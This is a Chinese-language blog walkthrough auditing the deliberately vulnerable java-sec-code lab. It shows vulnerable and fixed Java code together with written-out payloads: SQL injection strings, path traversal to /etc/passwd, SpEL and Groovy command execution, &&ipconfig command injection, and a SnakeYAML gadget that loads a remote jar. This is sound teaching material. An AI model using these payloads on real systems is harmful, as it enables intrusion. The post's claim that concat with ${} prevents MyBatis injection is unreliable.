0x00 写在前面
由于之前学习的时候一些常见漏洞的代码都是学习的PHP,所以这次就借着这个项目来学习一下一些常见web漏洞的java代码是什么样的,所以基本上就是白盒审计了。
0x01 环境搭建
项目地址:java-sec-code
IDEA打开后直接run就行了
后续会用到数据库,需要配置好数据库。
0x02 SQL Inject
jdbc/vuln
访问路径http://localhost:8080/sqli/jdbc/vuln?username=admin
。
第一个使用的是原生的jdbc,获取请求参数username
后,直接将其拼接到SQL语句中,最基础的注入,修复的话就是使用预编译。
Connection con = DriverManager.getConnection(url, user, password);
Statement statement = con.createStatement();
String sql = "select * from users where username = '" + username + "'";
ResultSet rs = statement.executeQuery(sql);
while (rs.next()) {
String res_name = rs.getString("username");
String res_pwd = rs.getString("password");
String info = String.format("%s: %s\n", res_name, res_pwd);
result.append(info);
logger.info(info);
}
http://localhost:8080/sqli/jdbc/vuln?username=admin' or 1=1%23
即可进行注入。
下面的jdbc/sec
中,作者就给出了使用预编译的安全的代码
String sql = "select * from users where username = ?";
PreparedStatement st = con.prepareStatement(sql);
st.setString(1, username);
logger.info(st.toString()); // sql after prepare statement
ResultSet rs = st.executeQuery();
当然,SQL查询中预编译也不是万能的,有的时候参数是不能使用预编译的,比如说like
、order by
等,这时候就需要程序员自己对用户输入的参数进行过滤,要视情况而定,不是仅仅使用预编译就万事大吉了,当然在这里预编译是没有问题的。
mybatis/vuln01
访问路径http://localhost:8080/sqli/mybatis/vuln01?username=admin
这里使用的是mybatis
来进行SQL查询,获取参数username
后使用userMapper.findByUserNameVuln01(username)
来进行查询。
来看一下findByUserNameVuln01
。MyBatis支持两种参数符号,一种是#
,另一种是$
。这里的参数获取使用的是${username}
,而不是#{username}
,而${username}
是直接将参数拼接到了SQL查询语句中,就会造成SQL注入。
@Select("select * from users where username = '${username}'")
List<User> findByUserNameVuln01(@Param("username") String username);
http://localhost:8080/sqli/mybatis/vuln01?username=admin' or 1=1%23
即可进行注入。
mybatis/vuln02
访问路径http://localhost:8080/sqli/mybatis/vuln02?username=admin
这里使用的是findByUserNameVuln02(String username);
来进行查询,来看一下UserMapper.xml
,也就是他的XML映射文件。
<select id="findByUserNameVuln02" parameterType="String" resultMap="User">
select * from users where username like '%${_parameter}%'
</select>
这里传入未过滤的username
后,插入到SQL语句中,就成了:select * from users where username like '%username%'
,${}
直接拼接字符串,而且这里在like
的后面不能使用#{}
预编译,不然就会产生报错。但是可以使用like concat('%',${username}, '%')
就可以避免注入了。
http://localhost:8080/sqli/mybatis/vuln02?username=admin' or '1'='1' %23
即可注入
mybatis/orderby/vuln03
访问路径http://localhost:8080/sqli/mybatis/orderby/vuln03?sort=1
。
这里使用的是findByUserNameVuln03(@Param("order") String order)
来进行查询,同样也是去看UserMapper.xml
。
<select id="findByUserNameVuln03" parameterType="String" resultMap="User">
select * from users
<if test="order != null">
order by ${order} asc
</if>
</select>
可以看到我们输入的参数在order by
之后,也是${order}
直接拼接起来了,与like
相同,在这也是无法使用预编译,只能使用${}
。由于没有过滤就直接拼接,很显然存在注入。
http://localhost:8080/sqli/mybatis/orderby/vuln03?sort=1 and (updatexml(1,concat(0x7e,(select version()),0x7e),1))
即可进行报错注入。
修复后的安全代码
mybatis/sec01
@Select("select * from users where username = #{username}")
User findByUserName(@Param("username") String username);
#{usrename}
预编译避免了注入的产生。
mybatis/sec02
这里使用的是通过id来查找用户,同时限制了参数类型只能是Integer
,只能输入数字,就避免了注入的产生。
public User mybatisSec02(@RequestParam("id") Integer id) {
return userMapper.findById(id);
}
下面是对应的映射语句,也是使用了#{id}
来输入参数,能使用#{}
的情况下就尽量不要使用${}
来拼接SQL语句。
<select id="findById" resultMap="User">
select * from users where id = #{id}
</select>
mybatis/sec03
这里的OrderByUsername()
直接固定了输出规则,没有给提供提供输入的地方,就更不用说存在注入了。
@GetMapping("/mybatis/sec03")
public User mybatisSec03() {
return userMapper.OrderByUsername();
}
<select id="OrderByUsername" resultMap="User">
select * from users order by id asc limit 1
</select>
mybatis/orderby/sec04
同样是order by
,相较于mybatis/orderby/vuln03
,这里对输入进行了一个过滤,SecurityUtil.sqlFilter(sort)
。
public List<User> mybatisOrderBySec04(@RequestParam("sort") String sort) {
return userMapper.findByUserNameVuln03(SecurityUtil.sqlFilter(sort));
}
严格限制用户输入只能包含a-zA-Z0-9_-.
字符就能够很好的避免黑客的注入。
private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$");
public static String sqlFilter(String sql) {
if (!FILTER_PATTERN.matcher(sql).matches()) {
return null;
}
return sql;
}
0x03 rce
runtime/exec
访问url为http://localhost:8080/rce/runtime/exec?cmd=whoami
。
最基础的Runtime.getRuntime().exec(cmd)
,直接传入命令即可执行。
ProcessBuilder
访问url为http://localhost:8080/rce/ProcessBuilder?cmd=whoami
。
同样也是直接执行命令,不同的是使用的是ProcessBuilder
来执行命令。ProcessBuilder
传入参数为列表,第一个参数为可执行命令程序,后面的参数为执行的命令程序的参数。
StringBuilder sb = new StringBuilder();
String[] arrCmd = {"/bin/sh", "-c", cmd};
ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
Process p = processBuilder.start();
jscmd
访问url为http://localhost:8080/rce/jscmd?jsurl=http://xx.yy/zz.js
,传入的参数为一个JavaScript代码的url地址。作者在代码中给出的js代码payload为var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}
。
源码如下,使用的是ScriptEngine
来对JavaScript代码的调用,最后eval()
执行代码。
public void jsEngine(String jsurl) throws Exception{
// js nashorn javascript ecmascript
ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);
String cmd = String.format("load(\"%s\")", jsurl);
engine.eval(cmd, bindings);
}
vuln/yarm
访问url为http://localhost:8080/rce/vuln/yarm
利用的是SnakeYAML
存在的反序列化漏洞来rce,在解析恶意 yml 内容时会完成指定的动作。
先是触发java.net.URL
去拉取远程 HTTP 服务器上的恶意 jar 文件,然后是寻找 jar 文件中实现javax.script.ScriptEngineFactory
接口的类并实例化,实例化类时执行恶意代码,造成 RCE 漏洞。
public void yarm(String content) {
Yaml y = new Yaml();
y.load(content);
}
payload在https://github.com/artsploit/yaml-payload/blob/master/src/artsploit/AwesomeScriptEngineFactory.java
有。
在这修改一下执行的命令。
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("whoami");
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
打包一下。
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
随后将以下内容传递给参数即可。
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[
!!java.net.URL ["http://localhost/yaml-payload.jar"]
]]
]
groovy
访问url为http://localhost:8080/rce/groovy?content='calc'.execute()
。
GroovyShell
可动态运行groovy
语言,也可以用于命令执行,如果用户的输入不加以过滤会导致rce。
public void groovyshell(String content) {
GroovyShell groovyShell = new GroovyShell();
groovyShell.evaluate(content);
}
0x04 PathTraversal
path_traversal/vul
第一个访问url为http://localhost:8080/path_traversal/vul?filepath=../../../../../etc/passwd
这里的路由对应的方法是getImage()
,看名字是用作图片读取转base64输出的。但是这里没有对输入进行过滤检查,只是简单判断文件存在且不是文件夹,就对其进行读取输出。
public String getImage(String filepath) throws IOException {
return getImgBase64(filepath);
}
private String getImgBase64(String imgFile) throws IOException {
logger.info("Working directory: " + System.getProperty("user.dir"));
logger.info("File path: " + imgFile);
File f = new File(imgFile);
if (f.exists() && !f.isDirectory()) {
byte[] data = Files.readAllBytes(Paths.get(imgFile));
return new String(Base64.encodeBase64(data));
} else {
return "File doesn't exist or is not a file.";
}
}
path_traversal/sec
对应的修复后的方法如下,调用了SecurityUtil.pathFilter
对用户的输入进行检查。
public String getImageSec(String filepath) throws IOException {
if (SecurityUtil.pathFilter(filepath) == null) {
logger.info("Illegal file path: " + filepath);
return "Bad boy. Illegal file path.";
}
return getImgBase64(filepath);
}
这里对目录穿越的..
进行了过滤,避免了目录穿越。只不过这里一个用作图片读取的api也可以读取项目任意文件倒也可以说是算一个小漏洞。
public static String pathFilter(String filepath) {
String temp = filepath;
// use while to sovle multi urlencode
while (temp.indexOf('%') != -1) {
try {
temp = URLDecoder.decode(temp, "utf-8");
} catch (UnsupportedEncodingException e) {
logger.info("Unsupported encoding exception: " + filepath);
return null;
} catch (Exception e) {
logger.info(e.toString());
return null;
}
}
if (temp.contains("..") || temp.charAt(0) == '/') {
return null;
}
return filepath;
}
0x05 SSRF
Java网络请求支持的协议可以在sun.net.www.protocol
中找到,有以下几种协议:
file、ftp、http、https、jar、mailto、netdoc
urlConnection/vuln
访问url为http://localhost:8080/ssrf/urlConnection/vuln?url=file:///Java/IDEA_data/java-sec-code/pom.xml
这里调用的是HttpUtils.URLConnection(url)
public String URLConnectionVuln(String url) {
return HttpUtils.URLConnection(url);
}
而URLConnection
里又调用了URL.openConnection()
来发起请求。
public static String URLConnection(String url) {
try {
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request
// BufferedReader in = new BufferedReader(new InputStreamReader(u.openConnection().getInputStream()));
String inputLine;
StringBuilder html = new StringBuilder();
while ((inputLine = in.readLine()) != null) {
html.append(inputLine);
}
in.close();
return html.toString();
} catch (Exception e) {
logger.error(e.getMessage());
return e.getMessage();
}
}
这里在URL
的构造方法中,利用如下代码来处理我们传入的url,也就是这里的变量spec
,通过冒号来判断我们传入的协议,然后通过isValidProtocol(s)
来判断协议是否合法,这里只是做了简单的字符判断。
for (i = start ; !aRef && (i < limit) &&
((c = spec.charAt(i)) != '/') ; i++) {
if (c == ':') {
String s = spec.substring(start, i).toLowerCase();
if (isValidProtocol(s)) {
newProtocol = s;
start = i + 1;
}
break;
}
}
后面通过getURLStreamHandler(protocol)
来获取一个URLStreamHandler
。
if (handler == null &&
(handler = getURLStreamHandler(protocol)) == null) {
throw new MalformedURLException("unknown protocol: "+protocol);
}
在getURLStreamHandler
中会先从之前处理过的哈希表中根据协议查找对应的URLStreamHandler
,若是找不到的话,就会调用factory.createURLStreamHandler(protocol)
来获取。
回到开始的地方,跟进一下u.openConnection()
,这里会调用handler.openConnection(this)
。这里就会根据我们之前获取的URLStreamHandler
来进行网络连接,若是不对用户传入的url进行过滤限制的话,就会导致ssrf漏洞的产生。
public URLConnection openConnection() throws java.io.IOException {
return handler.openConnection(this);
}
urlConnection/sec
访问url为http://localhost:8080/ssrf/urlConnection/sec?url=http://baidu.com
这里先是对url调用了SecurityUtil.isHttp()
来进行检查,随后又
public String URLConnectionSec(String url) {
// Decline not http/https protocol
if (!SecurityUtil.isHttp(url)) {
return "[-] SSRF check failed";
}
try {
SecurityUtil.startSSRFHook();
return HttpUtils.URLConnection(url);
} catch (SSRFException | IOException e) {
return e.getMessage();
} finally {
SecurityUtil.stopSSRFHook();
}
}
SecurityUtil.isHttp()
比较简单,就是判断url是否是以http://
或https://
开头。
public static boolean isHttp(String url) {
return url.startsWith("http://") || url.startsWith("https://");
}
单纯的ban掉其他协议显然是不够的,还不能够防止对内网进行探测,于是在获取url内容之前,开启了一个hook来对用户行为进行监听,SecurityUtil.startSSRFHook()
,就有效防止了ssrf攻击。
openStream
访问url为http://localhost:8080/ssrf/openStream?url=file:///
通过WebUtils.getNameWithoutExtension(url) + "." + WebUtils.getFileExtension(url)
来获取下载文件名
然后执行如下代码:
URL u = new URL(url);
inputStream = u.openStream()
来看一下openStream()
,也是调用了openConnection()
,也会根据传入的协议的不同来进行处理。
public final InputStream openStream() throws java.io.IOException {
return openConnection().getInputStream();
}
由此可以得知,同样也可以进行ssrf来探测内网以及文件下载。
HttpSyncClients/vuln
访问url为http://localhost:8080/ssrf/HttpSyncClients/vuln?url=http://www.baidu.com
// TODO
0x06 SPEL
spel/vuln
访问url为http://localhost:8080/spel/vuln?expression=T(java.lang.Runtime).getRuntime().exec('calc')
在SPEL表达式中,使用T(java.lang.Class)
来表示java.lang.Class
类的实例,即如同java代码中直接写类名。此方法一般用来引用常量或静态方法。
当执行的SPEL表达式可控时,我们就可以利用T(java.lang.Class)
来实例化java.lang.Runtime
对象,从而达到命令执行的目的。
0x07 CommandInject
如果环境是在Windows下,记得将"sh", "-c"
修改为"cmd", "/c"
。
codeinject
访问url为http://localhost:8080/codeinject?filepath=src%26%26ipconfig
获取一个参数filepath
,然后通过ProcessBuilder
将数组cmdList
中的字符串拼接起来执行命令,由于没有对输入filepath
进行过滤,原本用作查看目录下文件的一个功能就会被执行恶意命令。
public String codeInject(String filepath) throws IOException {
String[] cmdList = new String[]{"sh", "-c", "ls -la " + filepath};
ProcessBuilder builder = new ProcessBuilder(cmdList);
builder.redirectErrorStream(true);
Process process = builder.start();
return WebUtils.convertStreamToString(process.getInputStream());
}
使用&&
将我们要执行的命令拼接在参数后面就可以达到命令注入的目的。
codeinject/host
访问url为http://localhost:8080/codeinject/host
这里通过request.getHeader("host")
来获取http请求头中的host字段,然后同样拼接到命令中去执行。
public String codeInjectHost(HttpServletRequest request) throws IOException {
String host = request.getHeader("host");
logger.info(host);
String[] cmdList = new String[]{"sh", "-c", "curl " + host};
ProcessBuilder builder = new ProcessBuilder(cmdList);
builder.redirectErrorStream(true);
Process process = builder.start();
return WebUtils.convertStreamToString(process.getInputStream());
}
在以往http1.0中并没有host字段,但是在http1.1中增加了host字段,并且http协议在本质也是要建立tcp连接,而建立连接的同时必须知道对方的ip和端口,然后才能发送数据。既然已经建立了连接,那host字段到底起着什么样的的作用?
Host头域指定请求资源的Intenet主机和端口号,必须表示请求url的原始服务器或网关的是比如www.test.com和mail.test.com两个域名IP相同,由同一台服务器支持,服务器可以根据host域,分别提供不同的服务,在客户端看来是两个完全不同的站点。
也就是说请求头中的host
字段是可以被人为修改的,通过request.getHeader("host")
从请求头直接获取host是不安全的,当我们构造这样的host字段时就会造成命令注入Host: www.baidu.com&&ipconfig
。
codeinject/sec
这里给出了codeinject
的修复版本,利用SecurityUtil.cmdFilter
来对传入的参数进行过滤,严格限制用户输入只能包含a-zA-Z0-9_-.
字符。
private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$");
public static String cmdFilter(String input) {
if (!FILTER_PATTERN.matcher(input).matches()) {
return null;
}
return input;
}
0x08 FileUpload
any
访问url为http://localhost:8080/file/any
直接对上传的文件保存在了指定路径下,
@PostMapping("/upload")
public String singleFileUpload(@RequestParam("file") MultipartFile file,
RedirectAttributes redirectAttributes) {
if (file.isEmpty()) {
// 赋值给uploadStatus.html里的动态参数message
redirectAttributes.addFlashAttribute("message", "Please select a file to upload");
return "redirect:/file/status";
}
try {
// Get the file and save it somewhere
byte[] bytes = file.getBytes();
Path path = Paths.get(UPLOADED_FOLDER + file.getOriginalFilename());
Files.write(path, bytes);
redirectAttributes.addFlashAttribute("message",
"You successfully uploaded '" + UPLOADED_FOLDER + file.getOriginalFilename() + "'");
} catch (IOException e) {
redirectAttributes.addFlashAttribute("message", "upload failed");
logger.error(e.toString());
}
return "redirect:/file/status";
}
没有任何的后缀名及内容过滤,可以上传任意的恶意文件。
在这里上传目录在/tmp
下,同时文件的写入时用的Files.write(path, bytes)
,这里的path
就是保存的路径,由于是保存的目录/tmp
直接拼接了文件名,就可以在文件名中利用../
来达到目录穿越的目的,从而将任意文件保存在任意目录下。
pic
限制只能上传图片,同时进行了多重验证。
对文件后缀名进行白名单限制,只能为白名单中的图片后缀名。
String[] picSuffixList = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"};
boolean suffixFlag = false;
for (String white_suffix : picSuffixList) {
if (Suffix.toLowerCase().equals(white_suffix)) {
suffixFlag = true;
break;
}
}
对MIME
类型进行了黑名单限制,不过这个可以进行抓包修改绕过。
String[] mimeTypeBlackList = {
"text/html",
"text/javascript",
"application/javascript",
"application/ecmascript",
"text/xml",
"application/xml"
};
for (String blackMimeType : mimeTypeBlackList) {
// 用contains是为了防止text/html;charset=UTF-8绕过
if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType)) {
logger.error("[-] Mime type error: " + mimeType);
deleteFile(filePath);
return "Upload failed. Illeagl picture.";
}
}
判断上传的文件是否为图片,通过ImageIO.read
对文件进行读取来判断。
private static boolean isImage(File file) throws IOException {
BufferedImage bi = ImageIO.read(file);
return bi != null;
}
文件保存的时候路径是通过Paths.get(UPLOADED_FOLDER + multifile.getOriginalFilename())
来获取,就避免了路径穿越的实现。
try {
// Get the file and save it somewhere
byte[] bytes = multifile.getBytes();
Path path = Paths.get(UPLOADED_FOLDER + multifile.getOriginalFilename());
Files.write(path, bytes);
} catch (IOException e) {
logger.error(e.toString());
deleteFile(filePath);
return "Upload failed";
}
Comments | NOTHING